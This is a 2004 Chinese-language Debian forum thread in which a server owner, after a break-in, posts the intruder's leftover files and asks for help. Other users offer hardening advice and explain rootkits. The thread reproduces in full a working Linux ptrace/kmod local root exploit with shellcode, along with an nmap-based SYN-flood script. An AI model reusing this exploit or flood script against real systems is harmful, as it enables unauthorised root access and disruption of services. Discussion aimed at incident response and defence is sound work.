像是被hack掉了...

如果您覺得您的問題不屬於 debian desktop 或是 debian server 版的範圍內,請在這裡發問。

版主: mufa

像是被hack掉了...

文章kennethlck » 週一 2月 02, 2004 8:26 pm

代碼: 選擇全部
itrep:/home/test# cat smaq.sh
#!/bin/sh

smv="[smaq!benz]:"

if [ "$1" = "" ]; then
 echo "$smv you must supply a target!"
 exit 0
fi

tport="$2"

if [ "$2" = "" ]; then
 tport="21"
 echo "$smv no target port supplied, using 21."
fi

which nmap >/dev/null 2>&1

if [ ! $? -eq 0 ]; then
 echo "$smv could not find an executable nmap binary!"
 exit 0
fi

echo "$smv now attacking $1 (port $tport)"
echo "$smv each "." represents 10 syn's sent"
count="0"

while :; do count=`expr $count + 1`

if [ "$count" = "20" ]; then
 echo "$smv attacks complete."
 exit 0
fi

nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
nmap -sS -P0 $1 -p $tport 1>/dev/null 2>/dev/null & 1>/dev/null 2>/dev/null
echo -n "."
done

有人能告訴我造是甚麼嗎?
kennethlck
可愛的小學生
可愛的小學生
 
文章: 22
註冊時間: 週三 1月 14, 2004 8:05 pm

re:像是被hack掉了...

文章kennethlck » 週一 2月 02, 2004 8:28 pm

代碼: 選擇全部
itrep:/home/test# cat ptrace-kmod.c
/*
 * Linux kernel ptrace/kmod local root exploit
 *
 * This code exploits a race condition in kernel/kmod.c, which creates
 * kernel thread in insecure manner. This bug allows to ptrace cloned
 * process, allowing to take control over privileged modprobe binary.
 *
 * Should work under all current 2.2.x and 2.4.x kernels.
 *
 * I discovered this stupid bug independently on January 25, 2003, that
 * is (almost) two month before it was fixed and published by Red Hat
 * and others.
 *
 * Wojciech Purczynski <cliph@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 *
 * (c) 2003 Copyright by iSEC Security Research
 */

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
        "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
        "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
        "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
        "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
        "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
        perror(msg);
        kill(parent, SIGKILL);
        kill(child, SIGKILL);
        kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
        char buf[MAXPATHLEN + CODE_SIZE];
        unsigned long * src;
        int i, len;

        memcpy(buf, cliphcode, CODE_SIZE);
        len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
        if (len == -1)
                fatal("[-] Unable to read /proc/self/exe");

        len += CODE_SIZE + 1;
        buf[len] = '\0';

        src = (unsigned long*) buf;
        for (i = 0; i < len; i += 4)
                if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
                        fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
        struct user_regs_struct regs;

        if (gotchild++ == 0)
                return;

        fprintf(stderr, "[+] Signal caught\n");

        if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
                fatal("[-] Unable to read registers");

        fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

        putcode((unsigned long *)regs.eip);

        fprintf(stderr, "[+] Now wait for suid shell...\n");

        if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
                fatal("[-] Unable to detach from victim");

        exit(0);
}

void sigalrm(int signo)
{
        errno = ECANCELED;
        fatal("[-] Fatal error");
}

void do_child(void)
{
        int err;

        child = getpid();
        victim = child + 1;

        signal(SIGCHLD, sigchld);

        do
                err = ptrace(PTRACE_ATTACH, victim, 0, 0);
        while (err == -1 && errno == ESRCH);

        if (err == -1)
                fatal("[-] Unable to attach");

        fprintf(stderr, "[+] Attached to %d\n", victim);
        while (!gotchild) ;
        if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
                fatal("[-] Unable to setup syscall trace");
        fprintf(stderr, "[+] Waiting for signal\n");

        for(;;);
}

void do_parent(char * progname)
{
        struct stat st;
        int err;
        errno = 0;
        socket(AF_SECURITY, SOCK_STREAM, 1);
        do {
                err = stat(progname, &st);
        } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

        if (err == -1)
                fatal("[-] Unable to stat myself");

        alarm(0);
        system(progname);
}

void prepare(void)
{
        if (geteuid() == 0) {
                initgroups("root", 0);
                setgid(0);
                setuid(0);
                execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
                fatal("[-] Unable to spawn shell");
        }
}

int main(int argc, char ** argv)
{
        prepare();
        signal(SIGALRM, sigalrm);
        alarm(10);

        parent = getpid();
        child = fork();
        victim = child + 1;

        if (child == -1)
                fatal("[-] Unable to fork");

        if (child == 0)
                do_child();
        else
                do_parent(argv[0]);

        return 0;
}

kennethlck
可愛的小學生
可愛的小學生
 
文章: 22
註冊時間: 週三 1月 14, 2004 8:05 pm

re:像是被hack掉了...

文章kennethlck » 週一 2月 02, 2004 8:30 pm

應該是先被他取得一個普通acc的passwd...接著他好像先改了root的password...最後在今天...將所有其他acc連同system service 的password也全改動了...我一直也沒有留意他有這acc的password...因為我今天才能到server的地點不用remote管理...剛才已重裝了...
有人能教我可以怎樣防止嗎
kennethlck
可愛的小學生
可愛的小學生
 
文章: 22
註冊時間: 週三 1月 14, 2004 8:05 pm

re:像是被hack掉了...

文章kennethlck » 週一 2月 02, 2004 8:43 pm

代碼: 選擇全部
drwxr-xr-x    4 test     test         4096 Feb  2 11:59 .
drwxrwsr-x   13 root     staff        4096 Feb  8  2002 ..
-rw-r--r--    1 1006     1006          266 Jan 19 21:04 .alias
-rw-------    1 root     root         1883 Feb  2 16:07 .bash_history
-rw-r--r--    1 1006     1006          509 Jan 19 21:04 .bash_profile
-rw-r--r--    1 1006     1006         1093 Jan 19 21:04 .bashrc
-rw-r--r--    1 1006     1006          375 Jan 19 21:04 .cshrc
drwxrwxrwx    5 1008     users        4096 Feb  2 10:49 emech-2.8.5
-rw-r--r--    1 root     root       174122 Dec 30  2002 emech-2.8.5.tar.gz
drwxr-xr-x    2 1006     1006         4096 Jan 20 05:56 images
-rwsr-sr-x    1 root     root         9028 Jan 26 19:25 ptrace-kmod
-rwxr-xr-x    1 1006     test         3921 Apr  2  2003 ptrace-kmod.c
-rwsr-sr-x    1 root     root         9028 Feb  2 11:02 root
-rwxr-xr-x    1 root     root         1310 Aug 17  1999 smaq.sh

itrep:/home/test# cd ..
itrep:/home# cd test2
itrep:/home/test2# ls -al
total 48
drwxr-xr-x    3 1003     1003         4096 Feb  2 11:00 .
drwxrwsr-x   13 root     staff        4096 Feb  8  2002 ..
-rw-r--r--    1 1003     1003          266 Jan 20 05:57 .alias
-rw-------    1 1003     1003          594 Feb  2 11:00 .bash_history
-rw-r--r--    1 1003     1003          509 Jan 20 05:57 .bash_profile
-rw-r--r--    1 1003     1003         1093 Jan 20 05:57 .bashrc
-rw-r--r--    1 1003     1003          375 Jan 20 05:57 .cshrc
-rw-r--r--    1 1003     1003         3737 Feb  2 10:36 ptrace-kmod.c
drwxr-xr-x    2 1003     1003         4096 Jan 20 05:57 public_html
-rwsr-sr-x    1 root     root         9028 Feb  2 10:36 root

除了public_html同images係我create的,其他都是他整的...有頭緒嗎各位大大...
kennethlck
可愛的小學生
可愛的小學生
 
文章: 22
註冊時間: 週三 1月 14, 2004 8:05 pm

re:像是被hack掉了...

文章Godfrey » 週一 2月 02, 2004 10:50 pm

代碼: 選擇全部
-rwsr-sr-x    1 root     root         9028 Feb  2 10:36 root


root kit :finger1:
Godfrey
 

re:像是被hack掉了...

文章Tetralet » 週二 2月 03, 2004 9:15 am

kennethlck 寫:有人能教我可以怎樣防止嗎


系統安全的問題呀...
我想這並不是很好回答的呀!

建議您:

 時常注意系統更新本
 注意 LOGs
 iptables(防火牆)
 Tripwire(監視系統檔案)
 snort(入侵偵測工具)
 rootkit(檢查系統中是否有木馬程式)
 備份

但是這些只是最基本的防禦步驟,
別以為這樣子就萬無一失!

注意:以上僅做參考的呦!
時間並不能治療我心中的疼痛
南方的春天說什麼也溫暖不了我冰冷的血

誦唱大復活咒文,今天的 Tetralet 又在唧唧喳喳了 重生!
Tetralet
俺是博士
俺是博士
 
文章: 3078
註冊時間: 週四 11月 28, 2002 3:02 pm

re:像是被hack掉了...

文章kennethlck » 週二 2月 03, 2004 6:11 pm

rootkit用來檢查的??
上面list出來的"root"也是一個rootkit...
但是功用卻是不用password就能奪得root的權限啊...>v<
kennethlck
可愛的小學生
可愛的小學生
 
文章: 22
註冊時間: 週三 1月 14, 2004 8:05 pm

re:像是被hack掉了...

文章Tetralet » 週二 2月 03, 2004 6:46 pm

kennethlck 寫:rootkit用來檢查的??


耶?難道不是嗎?

kennethlck 寫:上面list出來的"root"也是一個rootkit...
但是功用卻是不用password就能奪得root的權限啊...>v<


??
看不太懂...
時間並不能治療我心中的疼痛
南方的春天說什麼也溫暖不了我冰冷的血

誦唱大復活咒文,今天的 Tetralet 又在唧唧喳喳了 重生!
Tetralet
俺是博士
俺是博士
 
文章: 3078
註冊時間: 週四 11月 28, 2002 3:02 pm

re:像是被hack掉了...

文章kanru » 週二 2月 03, 2004 9:03 pm

rootkit是指一些後門軟體吧?
如假的ps程式...(cracker 的工具集)
檢查rootkit的工具有一個叫做chkrootkit的.....
圖檔
頭像
kanru
榮譽學長
榮譽學長
 
文章: 578
註冊時間: 週六 7月 12, 2003 12:09 pm

re:像是被hack掉了...

文章Tetralet » 週二 2月 03, 2004 10:11 pm

kanru 寫:rootkit是指一些後門軟體吧?
如假的ps程式...(cracker 的工具集)
檢查rootkit的工具有一個叫做chkrootkit的.....


呀!一不小心就弄錯了!
謝謝您的指正!
時間並不能治療我心中的疼痛
南方的春天說什麼也溫暖不了我冰冷的血

誦唱大復活咒文,今天的 Tetralet 又在唧唧喳喳了 重生!
Tetralet
俺是博士
俺是博士
 
文章: 3078
註冊時間: 週四 11月 28, 2002 3:02 pm

re:像是被hack掉了...

文章kennethlck » 週二 2月 03, 2004 11:24 pm

Tetralet 寫:
kennethlck 寫:rootkit用來檢查的??


耶?難道不是嗎?

kennethlck 寫:上面list出來的"root"也是一個rootkit...
但是功用卻是不用password就能奪得root的權限啊...>v<


??
看不太懂...

我打出來給你看看吧
當我的情況是有以上所list的檔案
例如,我是用一個名為test的account login

當我係有那些檔案o既位置下輸入
./root
那我的身份便立時成為root了>v<非常可怕...
因為server當了...所以不能找到code來詳說...
kennethlck
可愛的小學生
可愛的小學生
 
文章: 22
註冊時間: 週三 1月 14, 2004 8:05 pm

re:像是被hack掉了...

文章小黑 » 週三 2月 04, 2004 2:20 am

這應該是 buffer overflow
前題應該是
1. 你有一個 root 擁有的 executable with SUID bit set (在你的這個情況應該是那個 "root" file 吧)
2. 這個 executable 有漏洞讓別人 overflow 掉了 :-?


光看那段 shellcode 已經知道他想幹什麼了 ....

當然 , 以上的只是很簡單地說一下 , 有說錯說漏的話請勿見怪
小黑
可愛的小學生
可愛的小學生
 
文章: 72
註冊時間: 週日 11月 23, 2003 12:31 am

re:像是被hack掉了...

文章kennethlck » 週三 2月 04, 2004 5:49 pm

小黑 寫:這應該是 buffer overflow
前題應該是
1. 你有一個 root 擁有的 executable with SUID bit set (在你的這個情況應該是那個 "root" file 吧)
2. 這個 executable 有漏洞讓別人 overflow 掉了 :-?


光看那段 shellcode 已經知道他想幹什麼了 ....

當然 , 以上的只是很簡單地說一下 , 有說錯說漏的話請勿見怪

不明白><我還是菜鳥...
kennethlck
可愛的小學生
可愛的小學生
 
文章: 22
註冊時間: 週三 1月 14, 2004 8:05 pm

re:像是被hack掉了...

文章小黑 » 週四 2月 05, 2004 12:14 am

就是他想 spawn 一個 root 的shell 出來了
如果你有一個 root shell , 不是想做什麼也可以嗎?
這些破解的東西不知是否可以在這裡公開地說 .... :-o
小黑
可愛的小學生
可愛的小學生
 
文章: 72
註冊時間: 週日 11月 23, 2003 12:31 am

re:像是被hack掉了...

文章d2207197 » 週四 2月 05, 2004 2:39 am

說出來沒關係吧

如果大家都知道,那也就知道如何防範了
頭像
d2207197
鑽研的研究生
鑽研的研究生
 
文章: 1763
註冊時間: 週二 5月 27, 2003 9:57 pm
來自: 火星

下一頁

回到 debian misc

誰在線上

正在瀏覽這個版面的使用者:沒有註冊會員 和 1 位訪客